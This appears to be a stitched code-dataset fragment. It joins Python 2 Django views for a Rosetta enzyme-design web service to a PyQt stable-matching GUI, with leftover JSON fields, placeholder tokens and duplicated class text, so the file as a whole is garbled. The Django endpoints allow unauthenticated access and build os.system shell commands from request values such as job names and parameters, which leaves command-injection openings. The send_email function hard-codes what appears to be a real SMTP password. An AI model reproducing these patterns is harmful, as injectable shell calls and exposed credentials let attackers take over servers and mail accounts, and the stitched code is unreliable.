SubmitParamter.objects.get_or_create(job_name=job_name)\n prt = File(open(local_protein_file))\n prt_renumber = File(open(protein_renumber))\n\n params.protein_file.save(protein_name, prt)\n params.protein_renumber_file.save(protein_renumber, prt_renumber)\n params.save()\n # return Response(params)\n serializer = SubmitParamsSerializer(params)\n return JsonResponse(serializer.data, safe=False)\n # return Response('Successfully')\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef first_step(request):\n job_name = request.data['job_name']\n # protein = request.data['protein']\n ligand = request.data['ligand']\n other_ligands = request.data['other_ligands'] ### ['A','215','MG','A','218','HOH','A','217','ATP']\n other_ligands = other_ligands.split('[')[1].split(']')[0].split(',')\n other_ligands = [str(i) for i in other_ligands]\n res_chain = request.data['res_chain'] # 'A'\n res_ligand_chain = request.data['res_ligand_chain'] ## 'A'\n res_ligand_ID = request.data['res_ligand_ID'] ### '216'\n res_ligand_name = request.data['res_ligand_name'] ### 'PRP'\n # design_ligand_name = request.data['design_ligand_name'] ### 'ABC'\n\n ### third step ###\n # CST_A_chain_name = request.data['CST_A_chain_name']\n\n current_time = time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime())\n print current_time\n job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')\n\n work_dir = os.path.join(job_dir, job_name)\n if not os.path.exists(work_dir):\n os.mkdir(work_dir)\n\n # protein_name, protein_name_pure = protein.name, protein.name.split('.')[0]\n # local_protein_file = os.path.join(work_dir, protein_name)\n # protein_str = protein.read()\n # prep_dock.save_to_file(local_protein_file, protein_str)\n\n ligand_name, ligand_name_pure = ligand.name, ligand.name.split('.')[0]\n local_ligand_file = os.path.join(work_dir, ligand_name)\n ligand_str = ligand.read()\n prep_dock.save_to_file(local_ligand_file, ligand_str)\n os.chdir(work_dir)\n # protein_renumber_name, protein_renumber = protein_name_pure + '_renumber', protein_name_pure + '_renumber.pdb'\n # os.system('python ../../rosetta_workflow_all_scripts/PDB_renumber.py -i ' + protein_name + ' -a -r > ' + protein_renumber_name + '.pdb')\n os.system('python ../../rosetta_workflow_all_scripts/design_ligand_prep.py ' + ligand_name)\n while True:\n if os.path.exists(ligand_name_pure+'.params'):\n break\n os.system('cp ../../rosetta_workflow_all_scripts/match.flags ./')\n os.system('cp ../../rosetta_workflow_all_scripts/match_grid.flags ./')\n\n for filename in os.listdir(work_dir):\n if filename.endswith('renumber.pdb'):\n protein_renumber_name = filename.split('.pdb')[0]\n protein_renumber = filename\n break\n\n prep_pdb, prep_pdb_pure = protein_renumber_name + '_prep.pdb', protein_renumber_name + '_prep'\n\n rosetta_protein_prep.prep_protein(protein_renumber, prep_pdb, res_chain, './')\n rosetta_protein_prep.get_ligand(prep_pdb, res_ligand_chain, res_ligand_ID, res_ligand_name)\n\n ### my code ###\n step = 3\n other_ligands_class_list = [other_ligands[i: i+step] for i in range(0, len(other_ligands), step)]\n os.system('cp ' + protein_renumber_name + '_chain' + res_chain + '.pdb combi_ligands.pdb')\n\n if len(other_ligands) < 3:\n print 'There are no ligands that need to be retained'\n # os.system('cp ' + protein_renumber_name + '_chain' + res_chain + '.pdb combi_ligands.pdb')\n else:\n i = 0\n for cls in other_ligands_class_list:\n combi_name = '_'.join(cls)\n print combi_name\n rosetta_protein_prep.get_ligand(protein_renumber, cls[0], cls[1], cls[2])\n last_out_name = protein_renumber_name + '_chain' + combi_name + '.pdb'\n last_out_name_mol2 = protein_renumber_name + '_chain' + combi_name + '.mol2'\n rosetta_protein_prep.combi_pdb('combi_ligands.pdb', last_out_name)\n\n if cls[2] != 'HOH' and len(cls[2]) == 3:\n i += 1\n os.system('obabel -ipdb ' + last_out_name + ' -omol2 -O ' + last_out_name_mol2)\n os.system('python /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/scripts/python/public/molfile_to_params.py ' + last_out_name_mol2 + '-n LG' + str(i))\n\n os.system(\"sed -i '/^TER/c'TER'' combi_ligands.pdb\")\n rosetta_protein_prep.get_grid('../../rosetta_workflow_all_scripts/match_grid.flags', prep_pdb_pure, res_chain, res_ligand_chain, res_ligand_ID, res_ligand_name)\n rosetta_protein_prep.get_match_flags('../../rosetta_workflow_all_scripts/match.flags', res_chain, 'ABC', prep_pdb_pure, ligand_name_pure)\n os.system('/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/gen_lig_grids.linuxgccrelease -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database @match_grid_out.flags')\n os.system('cp ' + protein_renumber + ' ./renumber.pdb')\n\n\n ### update database ###\n # params, created = SubmitParamter.objects.get_or_create(\n # job_name=job_name,\n # other_ligands=other_ligands,\n # res_chain=res_chain,\n # res_ligand_chain=res_ligand_chain,\n # res_ligand_name=res_ligand_name\n # )\n params = SubmitParamter.objects.get(job_name=job_name)\n params.other_ligands = other_ligands\n params.res_chain = res_chain\n params.res_ligand_chain = res_ligand_chain\n params.res_ligand_name = res_ligand_name\n\n # prt = File(open(local_protein_file))\n lgd = File(open(local_ligand_file))\n # prt_renumber = File(open(protein_renumber))\n ligand_params_file = File(open(ligand_name_pure+'.params'))\n pos_file = os.path.join('./inputs', prep_pdb_pure+'_chain'+res_chain+'.pdb_0.pos')\n pos_file_name = prep_pdb_pure+'_chain'+res_chain+'.pdb_0.pos'\n inputs_pos_file = File(open(pos_file))\n\n # params.protein_file.save(protein_name, prt)\n params.ligand_file.save(ligand_name, lgd)\n # params.protein_renumber_file.save(protein_renumber, prt_renumber)\n params.ligand_params_file.save(ligand_name_pure+'.params', ligand_params_file)\n params.inputs_pos_file.save(pos_file_name, inputs_pos_file)\n\n params.save()\n serializer = SubmitParamsSerializer(params)\n return JsonResponse(serializer.data, safe=False)\n # return Response('Successful')\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef second_step(request):\n job_name = request.data['job_name']\n constrain_info = request.data['constrain_info'] ### A:216:PRP:O2B:PB:O3A:A:131:ASP:OD2:CG:CB-O2B:PB:O3A-0.20:10.0:10.0:10.0:10.0:10.0-100.0:60.0:60.0:60.0:60.0:60.0-0:360.0:360.0:360.0:360.0:360.0-1:1:1:1:1:1, or A:216:PRP:O2B:PB:O3A:A:131:ASP:OD2:CG:CB-type:OH\n cat_ID = request.data['cat_ID']\n # cst1 = request.data['cst1']\n # cst2 = request.data['cst2']\n # cst3 = request.data['cst3']\n # three_atoms = request.data['three_atoms'] ### O2B:PB:O3A, type:OH\n # CST_A_chain_name = request.data['CST_A_chain_name'] ### 'A'\n # CST_A_residue_ID = int(request.data['CST_A_residue_ID']) ### '216'\n # CST_A_residue_name = request.data['CST_A_residue_name'] ### 'PRP'\n # Atom_A1 = request.data['Atom_A1'] ### 'O2B'\n # Atom_A2 = request.data['Atom_A2'] ### 'PB'\n # Atom_A3 = request.data['Atom_A3'] ### 'O3A'\n # CST_B_chain_name = request.data['CST_B_chain_name'] ### 'A'\n # CST_B_residue_ID = int(request.data['CST_B_residue_ID']) ### '131'\n # CST_B_residue_name = request.data['CST_B_residue_name'] ### 'ASP'\n # Atom_B1 = request.data['Atom_B1'] ### 'OD2'\n # Atom_B2 = request.data['Atom_B2'] ### 'CG'\n # Atom_B3 = request.data['Atom_B3'] ### 'CB'\n renumber_pdb = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design', job_name, 'renumber.pdb')\n work_dir = os.path.dirname(renumber_pdb)\n os.chdir(work_dir)\n\n ### my code ###\n #_______________________________________________________________\n constrain_info_list = [cst.split('-') for cst in constrain_info.split(',') if cst is not '']\n # for constrain_info in constrain_info_list:\n # if len(constrain_info) == 2:\n\n parse = PDBParser(PERMISSIVE=1)\n structure = parse.get_structure('renumber.pdb', renumber_pdb)\n w = open('match.cst', 'w')\n w.write('# cst constraint descriptior for renumber.pdb' + '\\n\\n\\n')\n w.write('# NOTE\\n\\n\\n')\n\n for idx, cst_info in enumerate(constrain_info_list):\n cst_result = get_cst_file.measure_dist_angle_dihe_new(structure, idx, cst_info)\n w.writelines(cst_result)\n w.close()\n\n # get_cst_file.measure_dist_angle_dihe(renumber_pdb, 'renumber.pdb', constrain_info_list, 'match.cst')\n # ____________________________________________________________\n\n # get_cst_file.measure_dist_angle_dihe(renumber_pdb, 'renumber.pdb', [(CST_A_chain_name, CST_A_residue_ID, CST_A_residue_name,\n # Atom_A1, Atom_A2, Atom_A3, CST_B_chain_name,\n # CST_B_residue_ID, CST_B_residue_name, Atom_B1,\n # Atom_B2, Atom_B3), ], 'match.cst')\n os.system('cp match.cst ./inputs')\n\n inputs_dir = os.path.join(work_dir, 'inputs')\n os.chdir(inputs_dir)\n for filename in os.listdir(inputs_dir):\n if filename.endswith('_0.pos'):\n pos = os.path.join(inputs_dir, filename)\n os.system('cp ' + pos + ' ./pos.bk')\n change_pos.change_pos(filename, cat_ID)\n params = SubmitParamter.objects.get(job_name=job_name)\n params.constrain_info = constrain_info\n params.cat_ID = cat_ID\n match_cst_file = File(open('match.cst'))\n params.match_cst_file.save('match.cst', match_cst_file)\n params.save()\n # for filename in os.listdir(inputs_dir):\n # if filename.endswith('.params'):\n # os.system('/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/CstfileToTheozymePDB.linuxgccrelease -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database -extra_res_fa ' + filename + ' -match:geometric_constraint_file match.cst')\n return Response('Successful')\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef third_step(request):\n job_name = request.data['job_name']\n # user_specialized_cst_file = request.data['user_specialized_cst_file']\n job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')\n work_dir = os.path.join(job_dir, job_name)\n os.chdir(work_dir)\n # if user_specialized_cst_file:\n # cst_str = user_specialized_cst_file.read()\n # user_defined_cst_file = os.path.join(work_dir, 'inputs', 'match.cst')\n # prep_dock.save_to_file(user_defined_cst_file, cst_str)\n try:\n cst_file = request.data['cst_file']\n cst_str = cst_file.read()\n user_defined_cst_file = os.path.join(work_dir, 'inputs', 'match.cst')\n prep_dock.save_to_file(user_defined_cst_file, cst_str)\n params = SubmitParamter.objects.get(job_name=job_name)\n new_cst_file = File(open(user_defined_cst_file))\n params.user_defined_cst_file.save('match.cst', new_cst_file)\n params.save()\n except MultiValueDictKeyError:\n pass\n try:\n os.system('/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/match.linuxgccrelease @match_out.flags -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database')\n # params = SubmitParamter.objects.get(job_name=job_name)\n # UM_pdb_list = []\n # for filename in os.listdir(os.path.join(work_dir, 'inputs')):\n # if filename.startswith('UM'):\n # file = os.path.join(work_dir, 'inputs', filename)\n # UM_pdb = File(open(file))\n UM_pdb_list = [filename for filename in os.listdir(os.path.join(work_dir, 'inputs')) if filename.startswith('UM')]\n params.UM_pdb_count = len(UM_pdb_list)\n params.save()\n # return Response('Successful, there are {} UM***.pdb'.format(len(UM_pdb_list)))\n serializer = SubmitParamsSerializer(params)\n return JsonResponse(serializer.data, safe=False)\n except:\n return Response('Failed, please check the constraint file and submit again !!!')\n\nfrom functools import wraps\ndef timethis(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n start = time.time()\n result = func(*args, **kwargs)\n end = time.time()\n print(func.__name__, end-start)\n return result\n return wrapper\n\n@timethis\ndef design_comand(match_file):\n command = \"/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/enzyme_design.linuxgccrelease @design_out.flags -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database -s \"+ match_file + \" -out:file:o \" + match_file + \"_DE.out > \" + match_file + \"_design.log\"\n os.system(command)\n\n# def get_design_params(ligand_name, params=('6.0', '8.0', '10.0', '12.0', '5')):\n# # \"\"\"\n# # :param ligand_name:\n# # :param params: (6.0, 8.0, 10, 12.0, 5)\n# # :return:\n# # \"\"\"\n# # command = ''\n# # os.system(command)\n\nfrom functools import partial\ndef get_design_params(ligand_name, params=None): ### ligand_name not startswith('LG') endswith('params')\n if params is None:\n params = ('6.0', '8.0', '10.0', '12.0', '5')\n return partial(get_design_params, ligand_name)(params)\n # command = ''\n command = \"sed -e 's/res_ligand_params_file/design_\" + ligand_name + \".params/g' -e 's/enz_score.out/enz_score_\" + ligand_name + \".out/g' -e 's/-cut1 6.0/-cut1 \" + params[0] + \"/g' -e 's/-cut2 10.0/-cut2 \" + params[1] + \"/g' -e 's/-cut3 15.0/-cut3 \" + params[2] + \"/g' -e 's/-cut4 20.0/-cut4 \" + params[3] + \"/g' -e 's/-nstruct 5/-nstruct \" + params[4] + \"/g' design.flags > design_out.flags\"\n os.system(command)\n\ndef send_email(email_addr, email_content, result_file):\n host_server = 'smtp.qq.com'\n sender_mail_addr = '[email protected]'\n pwd = 'utxfxpzcpsnzbbcc'\n receiver_mail_addr = email_addr\n mail_content = email_content\n mail_title = \"JianpingLin's email\"\n msg = MIMEMultipart()\n msg['Subject'] = Header(mail_title, 'utf-8')\n msg['From'] = sender_mail_addr\n msg['To'] = Header('Receiver', 'utf-8')\n\n msg.attach(MIMEText(mail_content, 'html', 'utf-8'))\n # att1 = MIMEText(open(result_file).read(), 'base64', 'utf-8')\n att1 = MIMEText(open(result_file).read(), 'base64')\n # import zipfile\n # att1 = MIMEText(zipfile.ZipFile(result_file), 'base64', 'utf-8')\n att1['Content-Type'] = 'application/octet-stream'\n att1['Content-Disposition'] = 'attachment; filename=\"match_design.tar.gz\"'\n msg.attach(att1)\n\n smtp = SMTP_SSL(host_server)\n smtp.set_debuglevel(1)\n smtp.ehlo(host_server)\n smtp.login(sender_mail_addr, pwd)\n smtp.sendmail(sender_mail_addr, receiver_mail_addr, msg.as_string())\n smtp.quit()\n\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef fourth_step(request):\n job_name = request.data['job_name']\n design_mini_range = request.data['design_mini_range']###\n user_email = request.data['user_email']\n\n # design_cst = request.data['design_cst']\n job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')\n work_dir = os.path.join(job_dir, job_name)\n os.chdir(work_dir)\n for filename in os.listdir(work_dir): ### ligand_name 必须是提交的mol2,不应该是LG.mol2\n if filename.endswith('params') and not filename.startswith('LG'):\n ligand_name = filename.split('.params')[0]\n break\n match_design_dir = os.path.join(work_dir, 'match_design')\n if not os.path.exists(match_design_dir):\n os.mkdir(match_design_dir)\n\n # if design_cst != '':\n # cst_str = design_cst.read()\n # user_design_cst_file = os.path.join(work_dir, 'match_design', 'design.cst')\n # prep_dock.save_to_file(user_design_cst_file, cst_str)\n # else:\n #\n try:\n design_cst = request.data['design_cst']\n cst_str = design_cst.read()\n user_design_cst_file = os.path.join(work_dir, 'match_design', 'design.cst')\n prep_dock.save_to_file(user_design_cst_file, cst_str)\n except MultiValueDictKeyError:\n os.system('cp ./inputs/match.cst ./match_design/design.cst')\n finally:\n os.system('mv UM*match*.pdb ./match_design')\n os.system('cp ../../rosetta_workflow_all_scripts/design.flags ./')\n ###To DO###\n # command = \"sed -e 's/res_ligand_params_file/design_\" + ligand_name + \".params/g' -e 's/enz_score.out/enz_score_\" + ligand_name + \".out/g' design.flags > design_out.flags\"\n # get_design_params(ligand_name, tuple(design_mini_range.split(';')))\n ####TO DO###\n # os.system(command)\n\n if design_mini_range != '':\n #design_mini_range = req0uest.data['design_mini_range']\n tpl_mini_range = tuple(design_mini_range.split(';'))\n if len(tpl_mini_range) != 5:\n return Response('Please check that the \"Designable Range, Repackable Range and Number of Outputs\" exists.')\n else:\n get_design_params(ligand_name, tpl_mini_range)\n else:\n get_design_params(ligand_name)\n\n os.system(\"sed -r '/^PDB_ROTAMERS/d' \" + ligand_name + \".params > match_design/design_\" + ligand_name + \".params\")\n os.system('cp design_out.flags ./match_design')\n match_dir = os.path.join(work_dir, 'match_design')\n os.chdir(match_dir)\n match_file_list = [filename for filename in os.listdir(match_dir) if filename.startswith('UM')]\n\n # design_comand(match_file_list[0])\n ###Post user###\n # pool = mul.Pool(5)\n # pool.map(design_comand, match_file_list)\n # pool.close()\n # pool.join()\n design_analysis.design_score(ligand_name, './')\n params = SubmitParamter.objects.get(job_name=job_name)\n params.user_email = user_email\n design_ligandname_out = 'design_' + ligand_name.split('.')[0] + '.out'\n\n file = File(open(design_ligandname_out))\n params.design_ligand_name_out.save(design_ligandname_out, file)\n params.save()\n\n # os.chdir(work_dir)\n # os.system('zip -r match_design.zip match_design')\n # os.system('tar czvf match_design.tar.gz UM*DE*.pdb')\n os.system('zip match_design UM*DE*.pdb ' + design_ligandname_out)\n\n email_content = \"Welcome to Jianping Lin's group\"\n match_design_file = os.path.join('./', 'match_design.zip')\n # send_email(email_addr=user_email, email_content=email_content, result_file=design_ligandname_out)\n # send_email(email_addr=user_email, email_content=email_content, result_file=match_design_file)\n # send_file_zipped(design_ligandname_out, ['[email protected]'])\n send_file_zipped(match_design_file, user_email, email_content=email_content)\n serializer = SubmitParamsSerializer(params)\n return JsonResponse(serializer.data, safe=False)\n # return Response('Successfully, this process needs ')\n\ndef get_analysis_params_dic(params):\n dic = {}\n temp_list = params.split(',')\n for param in temp_list:\n name, value = param.split(':')\n dic[name] = value\n return dic\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef fifth_step(request):\n job_name = request.data['job_name']\n analysis_params = request.data['analysis_params'] ### all_cst value < 0.9\\nSR_2_interf_E_1_5:-9,\n # analysis_dict = get_analysis_params_dic(analysis_params) ### {all_cst:0.9, SR_2_interf_E_1_5:-9}\n\n job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')\n work_dir = os.path.join(job_dir, job_name)\n os.chdir(work_dir)\n for filename in os.listdir(work_dir):\n if filename.endswith('params') and not filename.startswith('LG'):\n ligand_name = filename.split('.params')[0]\n break\n match_dir = os.path.join(work_dir, 'match_design')\n os.chdir(match_dir)\n design_analysis.design_filter(ligand_name, analysis_params.strip())\n # design_analysis.design_score(ligand_name, './')\n analysis_command = 'perl /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/src/apps/public/enzdes/DesignSelect.pl -d ' + 'design_'+ligand_name+'.out' + ' -c ' + 'design_'+ligand_name+'.filter' + ' -tag_column last > filtered_designs_' + ligand_name +'.out'\n print analysis_command\n os.system(analysis_command)\n # serializer = SubmitParamsSerializer(params)\n # return JsonResponse(serializer.data, safe=False)\n return Response('Successfully')\n\nclass SubmitParamsViewSet(viewsets.DynamicModelViewSet):\n queryset = SubmitParamter.objects.all()\n serializer_class = serializers.SubmitParamsSerializer\n\nclass OnlinedockViewSet(viewsets.DynamicModelViewSet):\n queryset = Onlinedock.objects.all()\n serializer_class = serializers.OnlinedockSerializer\n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
<|reserved_special_token_0|>
class Text(QtGui.QGraphicsTextItem):
<|reserved_special_token_0|>
def getName(self):
return self.__name
class GUI(QtGui.QWidget):
def __init__(self):
super(GUI, self).__init__()
self.exp = experiment.Experiments(20, 3)
self.matching = self.exp.unidirectional_match()
self.man_rank, self.woman_rank = self.matching.get_avg_rank()
self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()
self.initUI()
self.showMaximized()
def initUI(self):
self.setWindowTitle(' Stable Matching ')
grid = QtGui.QGridLayout()
step_button = QtGui.QPushButton('STEP', self)
epoch_button = QtGui.QPushButton('EPOCH', self)
end_button = QtGui.QPushButton('END', self)
self.showText = QtGui.QTextEdit(self)
self.showText.setText('START! ')
self.statu_scene = QtGui.QGraphicsScene(self)
self.initScene(self.statu_scene)
self.statu_view = QtGui.QGraphicsView()
self.statu_view.setScene(self.statu_scene)
self.statu_view.setMinimumSize(600, 600)
self.statu_view.show()
self.history_scene = QtGui.QGraphicsScene(self)
self.initScene(self.history_scene)
self.history_view = QtGui.QGraphicsView()
self.history_view.setScene(self.history_scene)
self.history_view.setMinimumSize(600, 600)
self.history_view.show()
grid.addWidget(step_button, 1, 1)
grid.addWidget(epoch_button, 2, 1)
grid.addWidget(end_button, 3, 1)
grid.addWidget(self.showText, 1, 2, 4, 1)
grid.addWidget(self.statu_view, 1, 3, 4, 1)
grid.addWidget(self.history_view, 1, 4, 4, 1)
self.setLayout(grid)
self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep)
self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch)
self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd)
def initScene(self, scene):
man_num = self.exp.get_man_num()
woman_num = self.exp.get_woman_num()
length = max(man_num, woman_num) * 30
scene.setSceneRect(0, 0, 600, length)
for i in range(man_num):
node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20,
(0, 0, 255))
for i in range(woman_num):
node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20,
(255, 0, 0))
def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)):
sex = name.split('_')[0]
number = name.split('_')[1]
rank_bias = spouse_bias = rank = 0
if sex == 'M':
rank = self.man_rank[int(number)]
rank_bias = -2.0
spouse_bias = -4.0
elif sex == 'W':
rank = self.woman_rank[int(number)]
rank_bias = 2.0
spouse_bias = 4.0
node = Node(name)
node.setRect(x, y, w, h)
node.changeBrush(color, 1)
if int(number) < 10:
number = '0' + number
text = QtGui.QGraphicsTextItem(number, node)
text.setPos(x, y)
text.setTextWidth(1.5 * w)
font = QtGui.QFont('Times', 8)
font.setWeight(99)
text.setFont(font)
rank_text = QtGui.QGraphicsTextItem(str(rank), node)
rank_text.setPos(x + rank_bias * w, y)
rank_text.setTextWidth(2 * w)
font = QtGui.QFont('Times', 8)
font.setWeight(99)
rank_text.setFont(font)
spouse_text = Text(name + '_S', '-1')
spouse_text.setPos(x + spouse_bias * w, y)
spouse_text.setTextWidth(1.5 * w)
font = QtGui.QFont('Times', 8)
font.setWeight(99)
spouse_text.setFont(font)
scene.addItem(node)
scene.addItem(spouse_text)
def __addLink(self, scene, name, node1, node2, color=(0, 0, 0),
link_type=''):
center1 = node1.boundingRect().center()
center2 = node2.boundingRect().center()
name1 = node1.getName().split('_')[1]
name2 = node2.getName().split('_')[1]
link = Link(name1 + '-' + name2, link_type)
link.setLine(center1.x(), center1.y(), center2.x(), center2.y())
link.changeColor(color)
scene.addItem(link)
def __deleteLink(self, scene, name):
link = self.__findItem(name, Link, scene.items())
scene.removeItem(link)
def __changeText(self, scene, name, text):
txt = self.__findItem(name, Text, scene.items())
txt.setPlainText(text)
def __findItem(self, name, _type, items):
for item in items:
if isinstance(item, _type) and name == item.getName():
return item
return False
def __clearLinks(self, scene):
for item in scene.items():
if isinstance(item, Link) and item.getType() != 'marry':
scene.removeItem(item)
def __clearUpLinks(self, scene):
for item in scene.items():
if isinstance(item, Link):
scene.removeItem(item)
def __refreshViewStep(self, info):
record = info.split('\n')
length = len(record)
lineiter = 0
epoch = record[lineiter].strip().split(':')[1]
lineiter += 1
step = record[lineiter].strip().split(':')[1]
lineiter += 1
statu = record[lineiter].strip()
if 'DONE' in statu:
return 0
elif 'is not activity' in statu:
return 1
elif 'is married' in statu:
return 2
couple = statu.replace(' ', '').split('target')
man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items())
woman = self.__findItem('W_' + couple[1], Node, self.statu_scene.
items())
lineiter += 1
sui_rank = record[lineiter].replace(' ', '').split(':')[1]
lineiter += 1
if 'Husband Rank' in record[lineiter]:
husband_rank = record[lineiter].replace(' ', '').split(':')[1]
lineiter += 1
if 'Succeed' in record[lineiter]:
self.__addLink(self.statu_scene, couple[0] + '-' + couple[1],
man, woman, link_type='marry')
self.__addLink(self.history_scene, couple[0] + '-' + couple[1],
man, woman, link_type='marry')
self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S',
str(self.matching.get_spouse_rank(int(couple[0]) + 1)))
self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S',
str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))
self.__changeText(self.history_scene, 'M_' + couple[0] + '_S',
str(self.matching.get_spouse_rank(int(couple[0]) + 1)))
self.__changeText(self.history_scene, 'W_' + couple[1] + '_S',
str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))
lineiter += 1
if lineiter <= length:
if 'threw away' in record[lineiter]:
throwCouple = record[lineiter].replace(' ', '').split(
'threwaway')
node1 = self.__findItem('M_' + throwCouple[1], Node,
self.history_scene.items())
node2 = self.__findItem('W_' + throwCouple[0], Node,
self.history_scene.items())
self.__addLink(self.history_scene, throwCouple[1] + '-' +
throwCouple[0], node1, node2, (0, 255, 0), 'break')
self.__deleteLink(self.statu_scene, throwCouple[1] +
'-' + throwCouple[0])
self.__changeText(self.statu_scene, 'M_' + throwCouple[
1] + '_S', '-1')
self.__changeText(self.history_scene, 'M_' +
throwCouple[1] + '_S', '-1')
self.statu_view.update()
self.history_view.update()
elif 'Failed' in record[lineiter]:
self.__addLink(self.history_scene, couple[0] + '-' + couple[1],
man, woman, (0, 0, 255), 'failed')
self.statu_view.update()
self.history_view.update()
def nextStep(self):
info = self.matching.step()
self.showText.setText(info)
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
self.__refreshViewStep(info)
def nextEpoch(self):
info = self.matching.epoch()
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
sep = info.split('\n')[0]
records = info.split(sep + '\n')
del records[0]
for record in records:
self.__refreshViewStep(sep + '\n' + record)
self.showText.setText(info)
def exeToEnd(self):
info = self.matching.exe_to_end()
self.__clearLinks(self.statu_scene)
self.__clearUpLinks(self.history_scene)
records = info.split('EPOCH')
del records[0]
for record in records:
self.__refreshViewStep('EPOCH' + record)
self.showText.setText(info)
def closeEvent(self, event):
reply = QtGui.QMessageBox.question(self, 'Message',
'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.
QMessageBox.No)
if reply == QtGui.QMessageBox.Yes:
event.accept()
else:
event.ignore()
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Link(QtGui.QGraphicsLineItem):
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
class Text(QtGui.QGraphicsTextItem):
def __init__(self, name, text):
super(Text, self).__init__(text)
self.__name = name
def getName(self):
return self.__name
class GUI(QtGui.QWidget):
def __init__(self):
super(GUI, self).__init__()
self.exp = experiment.Experiments(20, 3)
self.matching = self.exp.unidirectional_match()
self.man_rank, self.woman_rank = self.matching.get_avg_rank()
self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()
self.initUI()
self.showMaximized()
def initUI(self):
self.setWindowTitle(' Stable Matching ')
grid = QtGui.QGridLayout()
step_button = QtGui.QPushButton('STEP', self)
epoch_button = QtGui.QPushButton('EPOCH', self)
end_button = QtGui.QPushButton('END', self)
self.showText = QtGui.QTextEdit(self)
self.showText.setText('START! ')
self.statu_scene = QtGui.QGraphicsScene(self)
self.initScene(self.statu_scene)
self.statu_view = QtGui.QGraphicsView()
self.statu_view.setScene(self.statu_scene)
self.statu_view.setMinimumSize(600, 600)
self.statu_view.show()
self.history_scene = QtGui.QGraphicsScene(self)
self.initScene(self.history_scene)
self.history_view = QtGui.QGraphicsView()
self.history_view.setScene(self.history_scene)
self.history_view.setMinimumSize(600, 600)
self.history_view.show()
grid.addWidget(step_button, 1, 1)
grid.addWidget(epoch_button, 2, 1)
grid.addWidget(end_button, 3, 1)
grid.addWidget(self.showText, 1, 2, 4, 1)
grid.addWidget(self.statu_view, 1, 3, 4, 1)
grid.addWidget(self.history_view, 1, 4, 4, 1)
self.setLayout(grid)
self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep)
self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch)
self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd)
def initScene(self, scene):
man_num = self.exp.get_man_num()
woman_num = self.exp.get_woman_num()
length = max(man_num, woman_num) * 30
scene.setSceneRect(0, 0, 600, length)
for i in range(man_num):
node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20,
(0, 0, 255))
for i in range(woman_num):
node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20,
(255, 0, 0))
def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)):
sex = name.split('_')[0]
number = name.split('_')[1]
rank_bias = spouse_bias = rank = 0
if sex == 'M':
rank = self.man_rank[int(number)]
rank_bias = -2.0
spouse_bias = -4.0
elif sex == 'W':
rank = self.woman_rank[int(number)]
rank_bias = 2.0
spouse_bias = 4.0
node = Node(name)
node.setRect(x, y, w, h)
node.changeBrush(color, 1)
if int(number) < 10:
number = '0' + number
text = QtGui.QGraphicsTextItem(number, node)
text.setPos(x, y)
text.setTextWidth(1.5 * w)
font = QtGui.QFont('Times', 8)
font.setWeight(99)
text.setFont(font)
rank_text = QtGui.QGraphicsTextItem(str(rank), node)
rank_text.setPos(x + rank_bias * w, y)
rank_text.setTextWidth(2 * w)
font = QtGui.QFont('Times', 8)
font.setWeight(99)
rank_text.setFont(font)
spouse_text = Text(name + '_S', '-1')
spouse_text.setPos(x + spouse_bias * w, y)
spouse_text.setTextWidth(1.5 * w)
font = QtGui.QFont('Times', 8)
font.setWeight(99)
spouse_text.setFont(font)
scene.addItem(node)
scene.addItem(spouse_text)
def __addLink(self, scene, name, node1, node2, color=(0, 0, 0),
link_type=''):
center1 = node1.boundingRect().center()
center2 = node2.boundingRect().center()
name1 = node1.getName().split('_')[1]
name2 = node2.getName().split('_')[1]
